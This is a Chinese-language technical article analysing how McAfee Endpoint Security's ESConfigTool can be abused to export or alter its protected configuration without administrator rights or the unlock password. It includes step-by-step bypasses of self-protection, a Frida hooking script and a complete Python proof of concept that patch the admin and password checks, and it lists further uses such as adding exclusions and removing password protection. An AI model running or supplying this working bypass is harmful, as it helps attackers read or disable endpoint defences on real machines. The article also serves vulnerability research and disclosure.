以 McAfee 绕过 McAfee
字数 1445 2025-08-26 22:11:56
McAfee Endpoint Security 配置导出与绕过技术分析
0x00 简介
本文详细分析了如何利用 McAfee 自带的 ESConfigTool 工具绕过 McAfee Endpoint Security 的安全防护机制,实现在无管理员权限和未知密码的情况下导出安全配置信息的技术方法。
0x01 McAfee 产品背景
McAfee 从 Virus Scan Enterprise (VSE) 升级到 Endpoint Security 后,安全机制有所改变:
- VSE 时期:排除项等信息以明文形式存储在注册表中,容易获取
- Endpoint Security:不再以明文存储敏感信息,安全性提高
0x02 ESConfigTool 工具分析
ESConfigTool 是 McAfee Endpoint Security 自带的配置管理工具,官方文档描述其功能包括:
- 导入/导出配置文件
- 需要满足两个条件:
- 解锁密码(如果启用了密码保护)
- 管理员权限
0x03 逆向分析过程
实验环境设置
- 创建三个测试排除项:
C:\Windows\Temp\*mimikatz.exeC:\TotallyLegit\
- 设置密码保护,密码为:"starwars"
正常导出流程
使用管理员权限执行:
ESConfigTool.exe /export C:\Export.xml /module TP /unlock starwars /plaintext
成功导出包含排除项的XML配置文件。
0x04 绕过自我保护机制
McAfee 的自我保护功能会阻止调试器附加,绕过方法:
- 创建临时目录:
mkdir \temp - 复制必要文件到临时目录:
- ESConfigTool.exe
- blframework.dll
- EpSecApiLib.dll
- McVariantExport.dll
- LogLib.dll
关键点:此操作不需要管理员权限,复制后可自由调试。
0x05 绕过密码检查
分析发现:
- 密码检查通过
BLInvokeMethod函数实现 - 密码正确时,RAX 寄存器返回 0
- 密码错误时,RAX 寄存器返回非 0 值
绕过方法:
- 在调试器中修改 RAX 寄存器值为 0
- 但发现仅修改返回值还不够,需要更深入的分析
0x06 绕过管理员权限检查
分析发现:
- 程序会调用权限检查函数
- 返回值为 0 时调用 exit
- 返回值为非 0 时继续执行
绕过方法:
- 修改权限检查函数的返回值,使其返回 1
- 成功绕过管理员权限要求
0x07 自动化实现
使用 Frida 框架实现自动化绕过:
7.1 环境准备
- 目标机器运行 frida-server
- 攻击机器使用 Python 连接
Frida 脚本
const configBase = Module.findBaseAddress('ESConfigTool.exe');
const adminCheck = configBase.add(0x5f30); //64位偏移
const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
Interceptor.attach(adminCheck, {
onLeave: function(retval) {
retval.replace(1); // 绕过管理员检查
}
});
Interceptor.attach(BLInvokeMethod, {
onLeave: function(retval) {
retval.replace(0x0); // 绕过密码检查
}
});
0x08 完整利用流程
- 复制必要文件到临时目录
- 启动 frida-server
- 使用 Python 脚本注入 Frida
- 执行 ESConfigTool 导出配置
0x09 扩展利用
此技术不仅可用于导出配置,还可用于:
- 导入自定义配置
- 添加排除项
- 修改安全设置
- 移除密码保护
注意:/plaintext 参数在不同版本中表现可能不一致。
0x10 修复方案
McAfee 已发布安全公告和修复补丁,但需要注意:
- 修复可能不完全
- 旧版本工具可能仍可用于攻击新版本
附录:完整 Python POC
import frida
def get_script():
return """
const configBase = Module.findBaseAddress('ESConfigTool.exe');
const adminCheck = configBase.add(0x5f30);
const BLInvokeMethod = Module.findExportByName('blframework.dll','BLInvokeMethod')
Interceptor.attach(adminCheck, {
onLeave: function(retval) {
retval.replace(1);
}
});
Interceptor.attach(BLInvokeMethod, {
onLeave: function(retval) {
retval.replace(0x0);
}
});
"""
def main():
args = [
'ESConfigTool.exe',
'/export',
'c:\\temp\\ESP.xml',
'/module',
'TP',
'/unlock',
'starwars'
]
devmgr = frida.get_device_manager()
devmgr.add_remote_device('127.0.0.1')
rdev = frida.get_device('tcp@127.0.0.1')
pid = rdev.spawn(args)
session = rdev.attach(pid)
session.create_script(get_script()).load()
rdev.resume(pid)
input()
if __name__ == '__main__':
main()
总结
本技术利用了 McAfee 自身工具的设计缺陷,通过逆向分析和运行时修改,实现了在无权限情况下获取安全配置的能力。这提醒我们:
- 安全产品的自我防护机制需要全面考虑
- 配置管理工具应具备更强的安全防护
- 权限检查应在多个层面实现